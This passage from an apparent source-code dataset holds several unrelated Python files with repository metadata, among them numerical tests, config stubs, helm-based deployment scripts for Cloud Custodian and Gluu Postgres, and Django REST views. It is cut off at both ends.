TRev) for l, i in chain: li = np.hstack((l, i)) if not np.any(np.all(LI == li, axis=1)): containsAllChains = False break if upCorrect: self.assertTrue(containsAllChains) else: self.assertFalse(containsAllChains) @staticmethod def calculateA1D(getL1D, data): t, KPole = data K1D = np.array([k[t] for k in KPole]) A1D = getL1D(t, K1D) return A1D def testLemmaChainExistenceSufficient(self): p = 3 hierarchical = True basis1D = helper.basis.HierarchicalBSpline(p) for d in range(1, 5): basisName = "{}({})".format(type(basis1D).__name__, p) modified = ("Modified" in basisName) if "ClenshawCurtis" in basisName: distribution = "clenshawCurtis" else: distribution = "uniform" basis = (helper.basis.TensorProduct(basis1D, d) if d > 1 else basis1D) with self.subTest(d=d): X, L, I = tests.misc.generateSpatiallyAdaptiveSparseGrid( d, 200) #grid = (helper.grid.RegularSparse(n, d) if modified else # helper.grid.RegularSparseBoundary(n, d, b)) #X, L, I = grid.generate() if distribution != "uniform": X = helper.grid.getCoordinates(L, I, distribution=distribution) K = tests.misc.convertToContinuous(L, I) T = np.arange(d) np.random.shuffle(T) getL1D = functools.partial(tests.misc.hierarchize1D, basis, distribution, hierarchical, None, mode="matrix") N = X.shape[0] As = [np.eye(N)] KTuples = [tuple(k) for k in K] allKPoles = [] for t in T: isOnSamePole = functools.partial(tests.misc.isOnSamePole, t, d) KPoles = helper.misc.getEquivalenceClasses(KTuples, isOnSamePole) allKPoles.extend([(t, tuple(sorted(KPole))) for KPole in KPoles]) with multiprocessing.Pool() as pool: A1Ds = pool.map(functools.partial(self.calculateA1D, getL1D), allKPoles) A1Ds = dict(zip(allKPoles, A1Ds)) for t in T: isOnSamePole = functools.partial(tests.misc.isOnSamePole, t, d) KPoles = helper.misc.getEquivalenceClasses(K, isOnSamePole) At = np.zeros((N, N)) for KPole in KPoles: KPoleTuple = tuple(sorted([tuple(k.tolist()) for k in KPole])) A1D = A1Ds[(t, KPoleTuple)] N1D = A1D.shape[0] Q = [np.where(np.all(K == k, axis=1))[0][0] for k in KPole] for r1 in range(N1D): for r2 in range(N1D): At[Q[r2],Q[r1]] = A1D[r2,r1] As.append(np.dot(At, As[-1])) LI = np.column_stack((L, I)) for j in range(d+1): for k1 in range(N): for k2 in range(N): chain = self.getChain(L[k1,:], I[k1,:], L[k2,:], I[k2,:], T[:j]) if chain is not None: chain = tests.misc.convertToContinuous( np.array([x[0] for x in chain]), np.array([x[1] for x in chain])) containsChain = all([np.any(np.all(K == k, axis=1)) for k in chain]) else: containsChain = False if np.abs(As[j][k2,k1]) > 1e-10: self.assertTrue(containsChain) if containsChain: rhs = 1 for t, kj in zip(T[:j], chain[1:]): isOnSamePole = functools.partial(tests.misc.isOnSamePole, t, d) KPole = [k for k in K if isOnSamePole(k, kj)] KPoleTuple = tuple(sorted([tuple(k.tolist()) for k in KPole])) A1D = A1Ds[(t, KPoleTuple)] K1D = np.array([k[t] for k in KPole]) r1 = np.where(K1D == K[k1,t])[0][0] r2 = np.where(K1D == K[k2,t])[0][0] rhs *= A1D[r2,r1] lhs = As[j][k2,k1] self.assertAlmostEqual(lhs, rhs) def testLemmaChainExistenceNecessary(self): # tested in testLemmaChainExistenceSufficient pass def testPropCorrectnessUPCharacterization(self): # tested in testLemmaDualityUnidirectionalPrinciple pass def testCorEquivalentCorrectnessUPHierarchization(self): # tested in testLemmaDualityUnidirectionalPrinciple pass def testLemmaHermiteInterpolation(self): a = random.uniform(0, 3) b = a + random.uniform(2, 4) for p in [1, 3, 5, 7]: data = [[a] + [random.gauss(0, 2) for x in range((p+1)//2)], [b] + [random.gauss(0, 2) for x in range((p+1)//2)]] for nu in range((p+1)//2): y = self.hermiteInterpolation1D(np.array([a, b]), data, nu=nu) y2 = np.row_stack((data[0][1:nu+2], data[1][1:nu+2])) self.assertAlmostEqual(y, y2) def testPropInvariantHermiteHierarchization(self): for p in [1, 3, 5, 7]: bases, n, X, L, I, K, fX = self.createDataHermiteHierarchization(p) callback = self.hermiteHierarchizationCallback self.hermiteHierarchization1D(fX, n, K, bases, testCallback=callback) def testCorAlgHermiteHierarchizationCorrectness(self): for p in [1, 3, 5, 7]: bases, n, X, L, I, K, fX = self.createDataHermiteHierarchization(p) aX = self.hermiteHierarchization1D(fX, n, K, bases) Y = np.zeros_like(X) for k in range(X.shape[0]): Y += aX[k] * bases[0].evaluate(L[k], I[k], X) self.assertAlmostEqual(Y, fX) if __name__ == "__main__": unittest.main()

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9920d5f5a9ac7040e34a0fe7f0d9cf42084fcf0a

776

py

Python

configs/config_FILES.py

Haupti/tudatalibAPI

f249853711fca3203b76bb26b4df7d6912cd0304

[ "Apache-2.0" ]

null

configs/config_FILES.py

Haupti/tudatalibAPI

f249853711fca3203b76bb26b4df7d6912cd0304

[ "Apache-2.0" ]

null

configs/config_FILES.py

Haupti/tudatalibAPI

f249853711fca3203b76bb26b4df7d6912cd0304

[ "Apache-2.0" ]

null

''' For a flawless upload of many files to all the desired items the following variables have to be set: upload_list which is a list of 2-element lists e2 the 2-element list containing 1. the item id and 2. the folder from which all files will be upload to the item on TUdatalib Replace <directory_path> with the WHOLE path to the folder you want to upload files from. Note that you have to give path to a folder, not a file and that EVERYTHING from that folder will be upload to the item!!!! ''' upload_list = None #python list of list of strings ''' Please stick to this format (number of elements variable): upload_list = [ ["<item_id>","<directory_path>"], ["<item_id>","<directory_path>"] ] '''

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99210064002fc688a9b877de13f6df78c1529245

462

py

Python

unify/tool/create-application.py

unify/unify

30a920efbd5e1fc2857baeed623f55e03c8c4c9a

[ "Apache-2.0", "MIT" ]

8

2015-03-14T12:23:27.000Z

2021-01-09T18:00:53.000Z

unify/tool/create-application.py

wuwx/unify

30a920efbd5e1fc2857baeed623f55e03c8c4c9a

[ "Apache-2.0", "MIT" ]

1

2016-09-29T08:00:57.000Z

unify/tool/create-application.py

wuwx/unify

30a920efbd5e1fc2857baeed623f55e03c8c4c9a

[ "Apache-2.0", "MIT" ]

4

2015-02-09T05:42:32.000Z

2018-03-29T07:56:41.000Z

#!/usr/bin/env python # -*- coding: utf-8 -*- import subprocess, os, sys, optparse fullpath = os.path.join(os.getcwd(), os.path.dirname(sys.argv[0])) capath = os.path.abspath( os.path.join(fullpath, "..", "..", "qooxdoo", "qooxdoo", "tool", "bin", "create-application.py") ) skeletonpath = os.path.abspath( os.path.join(fullpath, "..", "application", "skeleton") ) subprocess.call(["python", capath, "-p", skeletonpath, "-t", "unify"] + sys.argv[1:])

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py

Python

src/datacatalog_fileset_enricher/__init__.py

mesmacosta/datacatalog-fileset-enricher

0792632fc181b13696f89ef3335da4e2ce1dca4a

[ "MIT" ]

3

2020-04-01T15:28:25.000Z

2020-06-06T18:30:34.000Z

src/datacatalog_fileset_enricher/__init__.py

mesmacosta/datacatalog-fileset-enricher

0792632fc181b13696f89ef3335da4e2ce1dca4a

[ "MIT" ]

null

src/datacatalog_fileset_enricher/__init__.py

mesmacosta/datacatalog-fileset-enricher

0792632fc181b13696f89ef3335da4e2ce1dca4a

[ "MIT" ]

1

2020-07-09T06:05:24.000Z

__author__ = """Marcelo Miranda""" __email__ = 'mesmacosta@gmail.com' __version__ = '1.1.1'

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py

Python

MedTARSQI/src/main/resources/ttk/testing/create_slinket_cases.py

CDCgov/DCPC

c3fadef1bd6345e01a58afef051491d8ef6a7f93

[ "Apache-2.0" ]

6

2018-11-03T22:43:35.000Z

2022-02-15T17:51:33.000Z

MedTARSQI/src/main/resources/ttk/testing/create_slinket_cases.py

CDCgov/DCPC

c3fadef1bd6345e01a58afef051491d8ef6a7f93

[ "Apache-2.0" ]

2

2019-04-08T03:42:59.000Z

2019-10-28T13:42:59.000Z

MedTARSQI/src/main/resources/ttk/testing/create_slinket_cases.py

CDCgov/DCPC

c3fadef1bd6345e01a58afef051491d8ef6a7f93

[ "Apache-2.0" ]

10

2017-04-10T21:40:22.000Z

2022-02-21T16:50:10.000Z

"""create_slinket_cases.py Code to create Slinket unit test cases. Runs by taking all SLINKs from a Timebank parse and put them in files, one for each SLINK relType, as potential test cases. Files are named slink-cases-RELTYPE.txt, where RELTYPE stands for one of the relation types. The output files have lines like ('MODAL', 'ABC19980120.1830.0957.xml', 'toClause3', (13,20), (34,38), "Fidel Castro invited John Paul to come for a reason.") which can be inserted directly as unit tests in SlinketTest. Running this script will actually report a lot of errors and warnings, but useful output is created and fixing the errors is low priority. """ import os, sys, codecs from xml.dom.minidom import parse, parseString TIMEBANK_DIR = '../data/out/timebank' TTK_FILE = '../out-slinket.xml' SLINK_CASES = {} def parse_directory(dname): #for (counter, fname) in os.listdir(dname): for fname in os.listdir(dname): # if counter > 10: break sys.stderr.write("%s\n" % fname) try: parse_file(os.path.join(dname, fname)) except: sys.stderr.write("ERROR on %s\n" % fname) def parse_file(fname): dom = parse(fname) text = dom.getElementsByTagName('text')[0] source_tags = dom.getElementsByTagName('source_tags')[0] try: tarsqi_tags = dom.getElementsByTagName('tarsqi_tags')[0] except IndexError: # some older parsed files still have ttk_tags, allow for that tarsqi_tags = dom.getElementsByTagName('ttk_tags')[0] sentences = tarsqi_tags.getElementsByTagName('s') events = tarsqi_tags.getElementsByTagName('EVENT') slinks = tarsqi_tags.getElementsByTagName('SLINK') source_text = text.firstChild.data parse_slinks(os.path.basename(fname), slinks, events, sentences, source_text) def parse_slinks(fname, slinks, events, sentences, source_text): event_dict = {} for event in events: eiid = event.getAttribute('eiid') event_dict[eiid] = event for slink in slinks: parse_slink(fname, slink, event_dict, sentences, source_text) for reltype in SLINK_CASES.keys(): fh = codecs.open("slink-cases-%s.txt" % reltype, 'w') for case in SLINK_CASES[reltype]: fh.write(case) def parse_slink(fname, slink, event_dict, sentences, source_text): rel = slink.getAttribute('relType') rule = slink.getAttribute('syntax') e1 = slink.getAttribute('eventInstanceID') e2 = slink.getAttribute('subordinatedEventInstance') e1p1 = int(event_dict[e1].getAttribute('begin')) e1p2 = int(event_dict[e1].getAttribute('end')) e2p1 = int(event_dict[e2].getAttribute('begin')) e2p2 = int(event_dict[e2].getAttribute('end')) event_text1 = source_text[e1p1:e1p2] event_text2 = source_text[e2p1:e2p2] enclosing_sentence = None for s in sentences: if int(s.getAttribute('begin')) <= e1p1 and int(s.getAttribute('end')) >= e1p1: enclosing_sentence = s s_p1 = int(enclosing_sentence.getAttribute('begin')) s_p2 = int(enclosing_sentence.getAttribute('end')) sentence_text = source_text[s_p1:s_p2] sentence_text = ' '.join(sentence_text.split()) (e1p1, e1p2) = get_local_offset(sentence_text, event_text1) (e2p1, e2p2) = get_local_offset(sentence_text, event_text2) if e1p1 < 0: sys.stderr.write("WARNING: did not find '%s' in '%s'\n" % (event_text1, sentence_text)) elif e2p1 < 0: sys.stderr.write("WARNING: did not find '%s' in '%s'\n" % (event_text2, sentence_text)) else: case = "('%s', '%s', '%s', (%s,%s), (%s,%s),\n \"%s\")\n" \ % (rel, fname, rule, e1p1, e1p2, e2p1, e2p2, sentence_text) SLINK_CASES.setdefault(rel,[]).append(case) def get_local_offset(sentence, text): idx1 = sentence.find(text) idx2 = idx1 + len(text) return (idx1, idx2) if __name__ == '__main__': #parse_file(TTK_FILE) parse_directory(TIMEBANK_DIR)

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0.678039

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0.32963

0.041507

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null

0

1

0

992435ff8981f52e289f680e8ef2931bd9e513ff

7,259

py

Python

tools/ops/azure/container-host/chart/deploy_chart.py

anthonybgale/cloud-custodian

a7338a19ebd2d7ceb431f24a27672893018e8925

[ "Apache-2.0" ]

null

tools/ops/azure/container-host/chart/deploy_chart.py

anthonybgale/cloud-custodian

a7338a19ebd2d7ceb431f24a27672893018e8925

[ "Apache-2.0" ]

null

tools/ops/azure/container-host/chart/deploy_chart.py

anthonybgale/cloud-custodian

a7338a19ebd2d7ceb431f24a27672893018e8925

[ "Apache-2.0" ]

null

# Copyright 2019 Microsoft Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import logging import os import re import tempfile import click import yaml from c7n.resources import load_resources from c7n.utils import local_session from c7n_azure.constants import ENV_CONTAINER_EVENT_QUEUE_NAME, ENV_SUB_ID from c7n_azure.session import Session logger = logging.getLogger("c7n_azure.container-host.deploy") MANAGEMENT_GROUP_TYPE = '/providers/Microsoft.Management/managementGroups' SUBSCRIPTION_TYPE = '/subscriptions' class Deployment(object): def __init__(self, ctx, default_environment=None): logging.basicConfig(level=logging.INFO, format='%(message)s') self.dry_run = ctx.parent.params.get('dry_run') self.deployment_name = ctx.parent.params.get('deployment_name') self.deployment_namespace = ctx.parent.params.get('deployment_namespace') self.image_repository = ctx.parent.params.get('image_repository') self.image_tag = ctx.parent.params.get('image_tag') self.image_pull_policy = ctx.parent.params.get('image_pull_policy') self.default_environment = default_environment self.subscription_hosts = [] def run(self): values = self.build_values_dict() values_file_path = Deployment.write_values_to_file(values) logger.info("Created values file at {}\n".format(values_file_path)) values_yaml = yaml.dump(values) logger.info(values_yaml) # Currently deploy the helm chart through a system command, this assumes helm is installed # and configured with the target cluster. logger.info("Deploying with helm") helm_command = Deployment.build_helm_command( self.deployment_name, values_file_path, namespace=self.deployment_namespace, dry_run=self.dry_run) logger.info(helm_command) os.system(helm_command) def build_values_dict(self): values = {} # custom image fields self._set_image_field(values, 'repository', self.image_repository) self._set_image_field(values, 'tag', self.image_tag) self._set_image_field(values, 'pullPolicy', self.image_pull_policy) # default environment variables for each host if self.default_environment: values['defaultEnvironment'] = self.default_environment # A list of configurations for individual hosts values['subscriptionHosts'] = self.subscription_hosts return values def _set_image_field(self, values, key, value): if value: values.setdefault('image', {})[key] = value def add_subscription_host(self, name='', environment={}): self.subscription_hosts.append({ 'name': name, 'environment': environment, }) @staticmethod def write_values_to_file(values): values_file_path = tempfile.mktemp(suffix='.yaml') with open(values_file_path, 'w') as values_file: yaml.dump(values, stream=values_file) return values_file_path @staticmethod def build_helm_command(deployment_name, values_file_path, namespace=None, dry_run=False): command = 'helm upgrade --install --debug' if dry_run: command += ' --dry-run' if namespace: command += ' --namespace {}'.format(namespace) command += ' --values {}'.format(values_file_path) chart_path = os.path.dirname(__file__) command += ' {} {}'.format(deployment_name, chart_path) return command class SubscriptionDeployment(Deployment): def __init__(self, ctx, name='', env=[]): super(SubscriptionDeployment, self).__init__(ctx) self.name = name self.environment = {e[0]: e[1] for e in env} self.run() def build_values_dict(self): self.add_subscription_host(self.name, self.environment) return super(SubscriptionDeployment, self).build_values_dict() class ManagementGroupDeployment(Deployment): def __init__(self, ctx, management_group_id, env=[]): super(ManagementGroupDeployment, self).__init__(ctx, default_environment={e[0]: e[1] for e in env}) self.management_group_id = management_group_id load_resources() self.session = local_session(Session) self.run() def build_values_dict(self): self._add_subscription_hosts() return super(ManagementGroupDeployment, self).build_values_dict() def _add_subscription_hosts(self): client = self.session.client('azure.mgmt.managementgroups.ManagementGroupsAPI') info = client.management_groups.get( self.management_group_id, expand='children', recurse=True) self._add_subscription_hosts_from_info(info) def _add_subscription_hosts_from_info(self, info): if info.type == SUBSCRIPTION_TYPE: sub_id = info.name # The 'name' field of child info is the subscription id self.add_subscription_host( ManagementGroupDeployment.sub_name_to_deployment_name(info.display_name), { ENV_SUB_ID: sub_id, ENV_CONTAINER_EVENT_QUEUE_NAME: 'c7n-{}'.format(info.name[-4:]) }, ) elif info.type == MANAGEMENT_GROUP_TYPE and info.children: for child in info.children: self._add_subscription_hosts_from_info(child) @staticmethod def sub_name_to_deployment_name(sub_name): # Deployment names must use only lower case alpha numeric characters, -, _, and . # They must also start/end with an alpha numeric character return re.sub(r'[^A-Za-z0-9-\._]+', '-', sub_name).strip('-_.').lower() @click.group() @click.option('--deployment-name', '-d', default='cloud-custodian') @click.option('--deployment-namespace', '-s', default='cloud-custodian') @click.option('--image-repository') @click.option('--image-tag') @click.option('--image-pull-policy') @click.option('--dry-run/--no-dry-run', default=False) def cli(deployment_name, deployment_namespace, image_repository='', image_tag='', image_pull_policy='', dry_run=False): pass @cli.command('subscription') @click.option('--name', '-n', required=True) @click.option('--env', '-e', type=click.Tuple([str, str]), multiple=True) @click.pass_context class SubscriptionDeploymentCommand(SubscriptionDeployment): pass @cli.command('management_group') @click.pass_context @click.option('--management-group-id', '-m', required=True) @click.option('--env', '-e', type=click.Tuple([str, str]), multiple=True) class ManagementGroupDeploymentCommand(ManagementGroupDeployment): pass if __name__ == '__main__': cli()

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7,259

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7,259

200

99

36.295

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0

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0

1

0.111111

false

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0.074074

0.007407

0.266667

0

null

0

null

0

1

0

99246f4bb7500baea9d62654feeafcb83b335876

1,269

py

Python

year_2020/day15/test_day15.py

mjalkio/advent-of-code

54dbfcba3850e72d7b736ef1e7d2a3cb91e65d42

[ "MIT" ]

null

year_2020/day15/test_day15.py

mjalkio/advent-of-code

54dbfcba3850e72d7b736ef1e7d2a3cb91e65d42

[ "MIT" ]

null

year_2020/day15/test_day15.py

mjalkio/advent-of-code

54dbfcba3850e72d7b736ef1e7d2a3cb91e65d42

[ "MIT" ]

null

import pytest from year_2020.day15.rambunctious_recitation import get_number_spoken @pytest.mark.parametrize( "starting_numbers,num_turns,expected", [ ("0,3,6", 1, 0), ("0,3,6", 2, 3), ("0,3,6", 3, 6), ("0,3,6", 4, 0), ("0,3,6", 5, 3), ("0,3,6", 6, 3), ("0,3,6", 7, 1), ("0,3,6", 8, 0), ("0,3,6", 9, 4), ("0,3,6", 10, 0), ("0,3,6", 2020, 436), ("1,3,2", 2020, 1), ("2,1,3", 2020, 10), ("1,2,3", 2020, 27), ("2,3,1", 2020, 78), ("3,2,1", 2020, 438), ("3,1,2", 2020, 1836), pytest.param("0,3,6", 30000000, 175594, marks=pytest.mark.slow), pytest.param("1,3,2", 30000000, 2578, marks=pytest.mark.slow), pytest.param("2,1,3", 30000000, 3544142, marks=pytest.mark.slow), pytest.param("1,2,3", 30000000, 261214, marks=pytest.mark.slow), pytest.param("2,3,1", 30000000, 6895259, marks=pytest.mark.slow), pytest.param("3,2,1", 30000000, 18, marks=pytest.mark.slow), pytest.param("3,1,2", 30000000, 362, marks=pytest.mark.slow), ], ) def test_get_number_spoken(starting_numbers, num_turns, expected): assert get_number_spoken(starting_numbers, num_turns) == expected

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201

1,269

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0.137725

0

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1

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1

0

1

0

null

0

3

9925c9a2bda0f481aaea1d23f4f43156ce4186d1

3,345

py

Python

tests/clpy_tests/opencl_tests/test_concatenate.py

fixstars/clpy

693485f85397cc110fa45803c36c30c24c297df0

[ "BSD-3-Clause" ]

142

2018-06-07T07:43:10.000Z

2021-10-30T21:06:32.000Z

tests/clpy_tests/opencl_tests/test_concatenate.py

fixstars/clpy

693485f85397cc110fa45803c36c30c24c297df0

[ "BSD-3-Clause" ]

282

2018-06-07T08:35:03.000Z

2021-03-31T03:14:32.000Z

tests/clpy_tests/opencl_tests/test_concatenate.py

fixstars/clpy

693485f85397cc110fa45803c36c30c24c297df0

[ "BSD-3-Clause" ]

19

2018-06-19T11:07:53.000Z

2021-05-13T20:57:04.000Z

import unittest import clpy import numpy class TestConcatenate(unittest.TestCase): """test clpy.manipulate.join.concatenate method""" def get_numpy_clpy_concatenated_result(self, dtype, shapes, axis): length = [] numpy_ar = [] clpy_ar = [] num_array = len(shapes) for i in range(num_array): length.append(numpy.prod(shapes[i])) numpy_ar.append(numpy.arange( length[i], dtype=dtype).reshape(shapes[i])) clpy_ar.append(clpy.array(numpy_ar[i])) clpy_result = clpy.concatenate((clpy_ar), axis).get() numpy_result = numpy.concatenate((numpy_ar), axis) return (numpy_result, clpy_result) def test_concatenate_2d_2array_axis0(self): dtype = "int64" axis = 0 shapes = [(2, 2), (3, 2)] numpy_result, clpy_result = self.get_numpy_clpy_concatenated_result( dtype, shapes, axis) self.assertTrue(numpy.array_equal(clpy_result, numpy_result)) def test_concatenate_2d_2array_axis1(self): dtype = "int64" axis = 1 shapes = [(2, 2), (2, 3)] numpy_result, clpy_result = self.get_numpy_clpy_concatenated_result( dtype, shapes, axis) self.assertTrue(numpy.array_equal(clpy_result, numpy_result)) def test_concatenate_3d_3array_axis0(self): dtype = "int64" axis = 0 shapes = [(2, 2, 2), (3, 2, 2), (4, 2, 2)] numpy_result, clpy_result = self.get_numpy_clpy_concatenated_result( dtype, shapes, axis) self.assertTrue(numpy.array_equal(clpy_result, numpy_result)) def test_concatenate_3d_3array_axis1(self): dtype = "int64" axis = 1 shapes = [(2, 2, 2), (2, 3, 2), (2, 4, 2)] numpy_result, clpy_result = self.get_numpy_clpy_concatenated_result( dtype, shapes, axis) self.assertTrue(numpy.array_equal(clpy_result, numpy_result)) def test_concatenate_3d_3array_axis2(self): dtype = "int64" axis = 2 shapes = [(2, 2, 2), (2, 2, 3), (2, 2, 4)] numpy_result, clpy_result = self.get_numpy_clpy_concatenated_result( dtype, shapes, axis) self.assertTrue(numpy.array_equal(clpy_result, numpy_result)) def test_concatenate_3d_4array_axis0(self): dtype = "int64" axis = 0 shapes = [(2, 2, 2), (3, 2, 2), (4, 2, 2), (5, 2, 2)] numpy_result, clpy_result = self.get_numpy_clpy_concatenated_result( dtype, shapes, axis) self.assertTrue(numpy.array_equal(clpy_result, numpy_result)) def test_concatenate_3d_4array_axis1(self): dtype = "int64" axis = 1 shapes = [(2, 2, 2), (2, 3, 2), (2, 4, 2), (2, 5, 2)] numpy_result, clpy_result = self.get_numpy_clpy_concatenated_result( dtype, shapes, axis) self.assertTrue(numpy.array_equal(clpy_result, numpy_result)) def test_concatenate_3d_4array_axis2(self): dtype = "int64" axis = 2 shapes = [(2, 2, 2), (2, 2, 3), (2, 2, 4), (2, 2, 5)] numpy_result, clpy_result = self.get_numpy_clpy_concatenated_result( dtype, shapes, axis) self.assertTrue(numpy.array_equal(clpy_result, numpy_result)) if __name__ == '__main__': unittest.main()

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0.033109

0.020176

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3,345

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null

0

1

0

null

0

5

99267bd9ac180f84f2a46d8243bfde7f8c870cf7

3,422

py

Python

pygluu/kubernetes/postgres.py

WaqasAhmedLatif/cloud-native-edition

1e6002f27ea971c153df59373e30d4506e9932dc

[ "Apache-2.0" ]

23

2020-04-18T14:51:41.000Z

2022-03-31T19:59:40.000Z

pygluu/kubernetes/postgres.py

WaqasAhmedLatif/cloud-native-edition

1e6002f27ea971c153df59373e30d4506e9932dc

[ "Apache-2.0" ]

236

2020-04-22T08:59:27.000Z

2022-03-31T07:21:12.000Z

pygluu/kubernetes/postgres.py

WaqasAhmedLatif/cloud-native-edition

1e6002f27ea971c153df59373e30d4506e9932dc

[ "Apache-2.0" ]

23

2020-04-19T15:25:59.000Z

2022-03-16T17:17:36.000Z

""" pygluu.kubernetes.postgres ~~~~~~~~~~~~~~~~~~~~~~~~~~ License terms and conditions for Gluu Cloud Native Edition: https://www.apache.org/licenses/LICENSE-2.0 Handles Postgres operations """ from pygluu.kubernetes.helpers import get_logger, exec_cmd from pygluu.kubernetes.kubeapi import Kubernetes from pygluu.kubernetes.settings import SettingsHandler logger = get_logger("gluu-postgres ") class Postgres(object): def __init__(self): self.settings = SettingsHandler() self.kubernetes = Kubernetes() self.timeout = 120 def install_postgres(self): self.uninstall_postgres() self.kubernetes.create_namespace(name=self.settings.get("POSTGRES_NAMESPACE"), labels={"app": "postgres"}) if self.settings.get("JACKRABBIT_CLUSTER") == "Y": exec_cmd("helm repo add bitnami https://charts.bitnami.com/bitnami") exec_cmd("helm repo update") exec_cmd("helm install {} bitnami/postgresql " "--set global.postgresql.postgresqlDatabase={} " "--set global.postgresql.postgresqlPassword={} " "--set global.postgresql.postgresqlUsername={} " "--namespace={}".format("postgresql", self.settings.get("JACKRABBIT_DATABASE"), self.settings.get("JACKRABBIT_PG_PASSWORD"), self.settings.get("JACKRABBIT_PG_USER"), self.settings.get("POSTGRES_NAMESPACE"))) if self.settings.get("PERSISTENCE_BACKEND") == "sql" and self.settings.get("GLUU_SQL_DB_DIALECT") == "pgsql": self.kubernetes.create_namespace(name=self.settings.get("GLUU_SQL_DB_NAMESPACE"), labels={"app": "mysql"}) exec_cmd("helm install {} bitnami/postgresql " "--set global.postgresql.postgresqlDatabase={} " "--set global.postgresql.postgresqlPassword={} " "--set global.postgresql.postgresqlUsername={} " "--namespace={}".format("gluu", self.settings.get("GLUU_SQL_DB_NAME"), self.settings.get("GLUU_SQL_DB_PASSWORD"), self.settings.get("GLUU_SQL_DB_USER"), self.settings.get("GLUU_SQL_DB_NAMESPACE"))) if not self.settings.get("installer-settings.aws.lbType") == "alb": self.kubernetes.check_pods_statuses(self.settings.get("POSTGRES_NAMESPACE"), "app=postgres", self.timeout) def uninstall_postgres(self): logger.info("Removing gluu-postgres...") logger.info("Removing postgres...") exec_cmd("helm delete {} --namespace={}".format("sql", self.settings.get("POSTGRES_NAMESPACE"))) if self.settings.get("PERSISTENCE_BACKEND") == "sql" and self.settings.get("GLUU_SQL_DB_DIALECT") == "pgsql": exec_cmd("helm delete {} --namespace={}".format("gluu", self.settings.get("GLUU_SQL_DB_NAMESPACE")))

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0

null

0

null

0

1

0

1

9928a567b8706306f43d40e3be66c386cb2b3fea

1,659

py

Python

xframes/traced_object.py

cchayden/xframes

1656cc69c814bda8132362b3a22f7cdf8a24637f

[ "Apache-2.0", "BSD-3-Clause" ]

null

xframes/traced_object.py

cchayden/xframes

1656cc69c814bda8132362b3a22f7cdf8a24637f

[ "Apache-2.0", "BSD-3-Clause" ]

null

xframes/traced_object.py

cchayden/xframes

1656cc69c814bda8132362b3a22f7cdf8a24637f

[ "Apache-2.0", "BSD-3-Clause" ]

null

""" Base class for objects that support entry and exit tracing. """ import inspect from sys import stderr class TracedObject(object): entry_trace = False perf_count = None @classmethod def _print_stack(cls, stack, args, levels=6): print >>stderr, 'Enter:', stack[1][3], stack[1][1], stack[1][2] # print a few frames print >>stderr, ' ', stack[2][3], stack[2][1], stack[2][2], args for i in range(3, levels): if stack[i][3] == '<module>': break print >>stderr, ' ', stack[i][3], stack[i][1], stack[i][2] stderr.flush() @classmethod def _print_trace(cls, **kwargs): """ Explicitly call this to trace a specific function. """ stack = inspect.stack() cls._print_stack(stack, kwargs, 8) @classmethod def _entry(cls, **kwargs): """ Trace function entry. """ if not cls.entry_trace and not cls.perf_count: return stack = inspect.stack() cls._print_stack(stack, kwargs) if cls.perf_count is not None: caller = stack[1] my_fun = caller[3] if my_fun not in cls.perf_count: cls.perf_count[my_fun] = 0 cls.perf_count[my_fun] += 1 @classmethod def set_trace(cls, entry_trace=None): cls.entry_trace = cls.entry_trace if entry_trace is None else entry_trace @classmethod def set_perf_count(cls, enable=True): if enable: cls.perf_count = {} else: cls.perf_count = None @classmethod def get_perf_count(cls): return cls.perf_count

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992c24f78534fed26453b87520fe3136459de217

4,333

py

Python

students/K33421/laboratory_works/Lakiza_Alexander/laboratory_work_3/college_app/views.py

emina13/ITMO_ICT_WebDevelopment_2021-2022

498a6138e352e7e0ca40d1eb301bc29416158f51

[ "MIT" ]

7

2021-09-02T08:20:58.000Z

2022-01-12T11:48:07.000Z

students/K33421/laboratory_works/Lakiza_Alexander/laboratory_work_3/college_app/views.py

emina13/ITMO_ICT_WebDevelopment_2021-2022

498a6138e352e7e0ca40d1eb301bc29416158f51

[ "MIT" ]

76

2021-09-17T23:01:50.000Z

2022-03-18T16:42:03.000Z

students/K33421/laboratory_works/Lakiza_Alexander/laboratory_work_3/college_app/views.py

emina13/ITMO_ICT_WebDevelopment_2021-2022

498a6138e352e7e0ca40d1eb301bc29416158f51

[ "MIT" ]

60

2021-09-04T16:47:39.000Z

2022-03-21T04:41:27.000Z

from rest_framework.authentication import TokenAuthentication from rest_framework.generics import * from rest_framework.permissions import * from .serializers import * class IsManager(BasePermission): def has_permission(self, request, view): return request.user.type == 'manager' class IsDeputy(BasePermission): def has_permission(self, request, view): print(request.user.type) return request.user.type == 'deputy' class StudentListView(ListAPIView): queryset = Student.objects.all() serializer_class = StudentSerializer permission_classes = [AllowAny] class StudentAllView(RetrieveUpdateDestroyAPIView): queryset = Student.objects.all() serializer_class = StudentSerializer permission_classes = [IsDeputy] class StudentCreateView(CreateAPIView): queryset = Student.objects.all() serializer_class = StudentSerializer permission_classes = [IsDeputy] class TeacherListView(ListAPIView): queryset = Teacher.objects.all() serializer_class = TeacherSerializer permission_classes = [AllowAny] class TeacherAllView(RetrieveUpdateDestroyAPIView): queryset = Teacher.objects.all() serializer_class = TeacherSerializer permission_classes = [IsDeputy] class TeacherCreateView(CreateAPIView): queryset = Teacher.objects.all() serializer_class = TeacherSerializer permission_classes = [IsDeputy] class SubjectListView(ListAPIView): queryset = Subject.objects.all() serializer_class = SubjectSerializer permission_classes = [AllowAny] class SubjectAllView(RetrieveUpdateDestroyAPIView): queryset = Subject.objects.all() serializer_class = SubjectSerializer permission_classes = [IsDeputy] class SubjectCreateView(CreateAPIView): queryset = Subject.objects.all() serializer_class = SubjectSerializer permission_classes = [IsDeputy] class MarkListView(ListAPIView): queryset = Mark.objects.all() serializer_class = MarkSerializer permission_classes = [AllowAny] class MarkAllView(RetrieveUpdateDestroyAPIView): queryset = Mark.objects.all() serializer_class = MarkSerializer permission_classes = [IsDeputy] class MarkCreateView(CreateAPIView): queryset = Mark.objects.all() serializer_class = MarkSerializer permission_classes = [IsDeputy] class PairListView(ListAPIView): queryset = Pair.objects.all() serializer_class = PairSerializer permission_classes = [AllowAny] class PairAllView(RetrieveUpdateDestroyAPIView): queryset = Pair.objects.all() serializer_class = PairSerializer permission_classes = [IsManager] class PairCreateView(CreateAPIView): queryset = Pair.objects.all() serializer_class = PairSerializer permission_classes = [IsManager] class SubjectToTeacherListView(ListAPIView): queryset = 